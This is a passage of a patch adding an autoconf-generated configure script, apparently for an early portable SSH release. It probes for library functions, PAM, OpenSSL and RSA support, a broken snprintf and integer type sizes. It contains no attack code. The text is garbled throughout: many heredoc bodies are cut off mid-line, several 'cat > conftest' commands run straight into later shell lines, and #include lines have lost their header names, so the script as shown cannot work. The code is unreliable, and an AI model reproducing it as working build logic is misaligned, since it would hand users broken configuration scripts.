__ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2074: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in setutxent utmpxname +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:2101: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2129: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + +echo $ac_n "checking for getuserattr""... $ac_c" 1>&6 +echo "configure:2155: checking for getuserattr" >&5 +if eval "test \"`echo '$''{'ac_cv_func_getuserattr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char getuserattr(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_getuserattr) || defined (__stub___getuserattr) +choke me +#else +getuserattr(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2183: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_getuserattr=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_getuserattr=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'getuserattr`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_GETUSERATTR 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for getuserattr in -ls""... $ac_c" 1>&6 +echo "configure:2204: checking for getuserattr in -ls" >&5 +ac_lib_var=`echo s'_'getuserattr | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-ls $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -ls"; cat >> confdefs.h <<\EOF +#define HAVE_GETUSERATTR 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for login""... $ac_c" 1>&6 +echo "configure:2251: checking for login" >&5 +if eval "test \"`echo '$''{'ac_cv_func_login'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char login(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_login) || defined (__stub___login) +choke me +#else +login(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2279: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_login=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_login=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'login`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_LOGIN 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for login in -lbsd""... $ac_c" 1>&6 +echo "configure:2300: checking for login in -lbsd" >&5 +ac_lib_var=`echo bsd'_'login | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lbsd $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lbsd"; cat >> confdefs.h <<\EOF +#define HAVE_LOGIN 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for daemon""... $ac_c" 1>&6 +echo "configure:2347: checking for daemon" >&5 +if eval "test \"`echo '$''{'ac_cv_func_daemon'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char daemon(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_daemon) || defined (__stub___daemon) +choke me +#else +daemon(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2375: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_daemon=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_daemon=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'daemon`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_DAEMON 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for daemon in -lbsd""... $ac_c" 1>&6 +echo "configure:2396: checking for daemon in -lbsd" >&5 +ac_lib_var=`echo bsd'_'daemon | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lbsd $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lbsd"; cat >> confdefs.h <<\EOF +#define HAVE_DAEMON 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for getpagesize""... $ac_c" 1>&6 +echo "configure:2443: checking for getpagesize" >&5 +if eval "test \"`echo '$''{'ac_cv_func_getpagesize'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char getpagesize(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_getpagesize) || defined (__stub___getpagesize) +choke me +#else +getpagesize(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2471: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_getpagesize=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_getpagesize=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'getpagesize`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_GETPAGESIZE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for getpagesize in -lucb""... $ac_c" 1>&6 +echo "configure:2492: checking for getpagesize in -lucb" >&5 +ac_lib_var=`echo ucb'_'getpagesize | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lucb $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lucb"; cat >> confdefs.h <<\EOF +#define HAVE_GETPAGESIZE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +# Check for broken snprintf +if test "x$ac_cv_func_snprintf" = "xyes" ; then + echo $ac_n "checking whether snprintf correctly terminates long strings""... $ac_c" 1>&6 +echo "configure:2541: checking whether snprintf correctly terminates long strings" >&5 + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +int main(void){char b[5];snprintf(b,5,"123456789");return(b[4]!='\0');} + +EOF +if { (eval echo configure:2553: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + + echo "$ac_t""no" 1>&6 + cat >> confdefs.h <<\EOF +#define BROKEN_SNPRINTF 1 +EOF + + echo "configure: warning: ****** Your snprintf() function is broken, complain to your vendor" 1>&2 + + +fi +rm -fr conftest* +fi + +fi + +PAM_MSG="no" +# Check whether --with-pam or --without-pam was given. +if test "${with_pam+set}" = set; then + withval="$with_pam" + + if test "x$withval" = "xno" ; then + no_pam=1 + cat >> confdefs.h <<\EOF +#define DISABLE_PAM 1 +EOF + + PAM_MSG="disabled" + fi + + +fi + +if (test -z "$no_pam" && test "x$ac_cv_header_security_pam_appl_h" = "xyes") ; then + echo $ac_n "checking for dlopen in -ldl""... $ac_c" 1>&6 +echo "configure:2594: checking for dlopen in -ldl" >&5 +ac_lib_var=`echo dl'_'dlopen | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-ldl $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo dl | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + LIBS="$LIBS -lpam" + + for ac_func in pam_getenvlist +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:2645: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2673: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + + disable_shadow=yes + + PAM_MSG="yes" + + # Check PAM strerror arguments (old PAM) + echo $ac_n "checking whether pam_strerror takes only one argument""... $ac_c" 1>&6 +echo "configure:2704: checking whether pam_strerror takes only one argument" >&5 + cat > conftest.$ac_ext < +#include + +int main() { +(void)pam_strerror((pam_handle_t *)NULL, -1); +; return 0; } +EOF +if { (eval echo configure:2716: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""no" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + cat >> confdefs.h <<\EOF +#define HAVE_OLD_PAM 1 +EOF + + echo "$ac_t""yes" 1>&6 + PAM_MSG="yes (old library)" + + +fi +rm -f conftest* +fi + +# The big search for OpenSSL +# Check whether --with-ssl-dir or --without-ssl-dir was given. +if test "${with_ssl_dir+set}" = set; then + withval="$with_ssl_dir" + + if test "x$withval" != "$xno" ; then + tryssldir=$withval + fi + + +fi + + +saved_LIBS="$LIBS" +saved_LDFLAGS="$LDFLAGS" +saved_CFLAGS="$CFLAGS" +if test "x$prefix" != "xNONE" ; then + tryssldir="$tryssldir $prefix" +fi +echo $ac_n "checking for OpenSSL directory""... $ac_c" 1>&6 +echo "configure:2756: checking for OpenSSL directory" >&5 +if eval "test \"`echo '$''{'ac_cv_openssldir'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + + for ssldir in "" $tryssldir /usr/local/openssl /usr/lib/openssl /usr/local/ssl /usr/lib/ssl /usr/local /usr/pkg /opt /opt/openssl ; do + if test ! -z "$ssldir" ; then + LDFLAGS="$saved_LDFLAGS -L$ssldir/lib -L$ssldir" + CFLAGS="$saved_CFLAGS -I$ssldir/include" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R$ssldir/lib -R$ssldir" + fi + else + LDFLAGS="$saved_LDFLAGS" + fi + + LIBS="$saved_LIBS -lcrypto" + + # Basic test to check for compatible version and correct linking + # *does not* test for RSA - that comes later. + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include +int main(void) +{ + char a[2048]; + memset(a, 0, sizeof(a)); + RAND_add(a, sizeof(a), sizeof(a)); + return(RAND_status() <= 0); +} + +EOF +if { (eval echo configure:2795: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + + found_crypto=1 + break; + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + + +fi +rm -fr conftest* +fi + + + if test ! -z "$found_crypto" ; then + break; + fi + done + + if test -z "$found_crypto" ; then + { echo "configure: error: Could not find working SSLeay / OpenSSL libraries, please install" 1>&2; exit 1; } + fi + if test -z "$ssldir" ; then + ssldir="(system)" + fi + + ac_cv_openssldir=$ssldir + +fi + +echo "$ac_t""$ac_cv_openssldir" 1>&6 + +if (test ! -z "$ac_cv_openssldir" && test "x$ac_cv_openssldir" != "x(system)") ; then + cat >> confdefs.h <<\EOF +#define HAVE_OPENSSL 1 +EOF + + ssldir=$ac_cv_openssldir + CFLAGS="$saved_CFLAGS -I$ssldir/include" + LDFLAGS="$saved_LDFLAGS -L$ssldir/lib -L$ssldir" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R$ssldir/lib -R$ssldir" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:$ssldir:$ssldir/lib" + fi +fi +LIBS="$saved_LIBS -lcrypto" + +# Now test RSA support +saved_LIBS="$LIBS" +echo $ac_n "checking for RSA support""... $ac_c" 1>&6 +echo "configure:2850: checking for RSA support" >&5 +for WANTS_RSAREF in "" 1 ; do + if test -z "$WANTS_RSAREF" ; then + LIBS="$saved_LIBS" + else + LIBS="$saved_LIBS -lRSAglue -lrsaref" + fi + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include +#include +#include +#include +int main(void) +{ + int num; RSA *key; static unsigned char p_in[] = "blahblah"; + unsigned char c[256], p[256]; + memset(c, 0, sizeof(c)); RAND_add(c, sizeof(c), sizeof(c)); + if ((key=RSA_generate_key(512, 3, NULL, NULL))==NULL) return(1); + num = RSA_public_encrypt(sizeof(p_in) - 1, p_in, c, key, RSA_PKCS1_PADDING); + return(-1 == RSA_private_decrypt(num, c, p, key, RSA_PKCS1_PADDING)); +} + +EOF +if { (eval echo configure:2880: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + + rsa_works=1 + break; + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 +fi +rm -fr conftest* +fi + +done + +if test ! -z "$no_rsa" ; then + echo "$ac_t""disabled" 1>&6 + RSA_MSG="disabled" +else + if test -z "$rsa_works" ; then + echo "configure: warning: *** No RSA support found *** " 1>&2 + RSA_MSG="no" + else + if test -z "$WANTS_RSAREF" ; then + echo "$ac_t""yes" 1>&6 + RSA_MSG="yes" + else + RSA_MSG="yes (using RSAref)" + echo "$ac_t""using RSAref" 1>&6 + LIBS="$saved_LIBS -lcrypto -lRSAglue -lrsaref" + fi + fi +fi + +# Checks for data types +echo $ac_n "checking size of char""... $ac_c" 1>&6 +echo "configure:2916: checking size of char" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_char'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_char=1 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(char)); + exit(0); +} +EOF +if { (eval echo configure:2935: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_char=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_char=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_char" 1>&6 +cat >> confdefs.h <&6 +echo "configure:2955: checking size of short int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_short_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_short_int=2 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(short int)); + exit(0); +} +EOF +if { (eval echo configure:2974: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_short_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_short_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_short_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:2994: checking size of int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_int=4 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(int)); + exit(0); +} +EOF +if { (eval echo configure:3013: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:3033: checking size of long int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_long_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_long_int=4 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(long int)); + exit(0); +} +EOF +if { (eval echo configure:3052: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_long_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_long_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_long_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:3072: checking size of long long int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_long_long_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_long_long_int=8 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(long long int)); + exit(0); +} +EOF +if { (eval echo configure:3091: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_long_long_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_long_long_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_long_long_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:3113: checking for intXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_intxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + int8_t a; int16_t b; int32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:3126: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_intxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_intxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_intxx_t" 1>&6 +if test "x$ac_cv_have_intxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_INTXX_T 1 +EOF + + have_intxx_t=1 +fi + +echo $ac_n "checking for u_intXX_t types""... $ac_c" 1>&6 +echo "configure:3150: checking for u_intXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_u_intxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +int main() { + u_int8_t a; u_int16_t b; u_int32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:3163: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_u_intxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_u_intxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_u_intxx_t" 1>&6 +if test "x$ac_cv_have_u_intxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_U_INTXX_T 1 +EOF + + have_u_intxx_t=1 +fi + + +if (test -z "$have_u_intxx_t" || test -z "$have_intxx_t" && \ + test "x$ac_cv_header_sys_bitypes_h" = "xyes") +then + echo $ac_n "checking for intXX_t and u_intXX_t types in sys/bitypes.h""... $ac_c" 1>&6 +echo "configure:3191: checking for intXX_t and u_intXX_t types in sys/bitypes.h" >&5 + cat > conftest.$ac_ext < + +int main() { + + int8_t a; int16_t b; int32_t c; + u_int8_t e; u_int16_t f; u_int32_t g; + a = b = c = e = f = g = 1; + +; return 0; } +EOF +if { (eval echo configure:3206: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + + cat >> confdefs.h <<\EOF +#define HAVE_U_INTXX_T 1 +EOF + + cat >> confdefs.h <<\EOF +#define HAVE_INTXX_T 1 +EOF + + echo "$ac_t""yes" 1>&6 + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + +fi +rm -f conftest* +fi + +if test -z "$have_u_intxx_t" ; then + echo $ac_n "checking for uintXX_t types""... $ac_c" 1>&6 +echo "configure:3231: checking for uintXX_t types" >&5 +if eval "test \"`echo '$''{'ac_cv_have_uintxx_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + uint8_t a; uint16_t b; uint32_t c; a = b = c = 1; +; return 0; } +EOF +if { (eval echo configure:3246: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_uintxx_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_uintxx_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_uintxx_t" 1>&6 + if test "x$ac_cv_have_uintxx_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_UINTXX_T 1 +EOF + + fi +fi + +echo $ac_n "checking for socklen_t""... $ac_c" 1>&6 +echo "configure:3270: checking for socklen_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_socklen_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { +socklen_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3286: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_socklen_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_socklen_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_socklen_t" 1>&6 +if test "x$ac_cv_have_socklen_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SOCKLEN_T 1 +EOF + +fi + +echo $ac_n "checking for size_t""... $ac_c" 1>&6 +echo "configure:3309: checking for size_t" >&5 +if eval "test 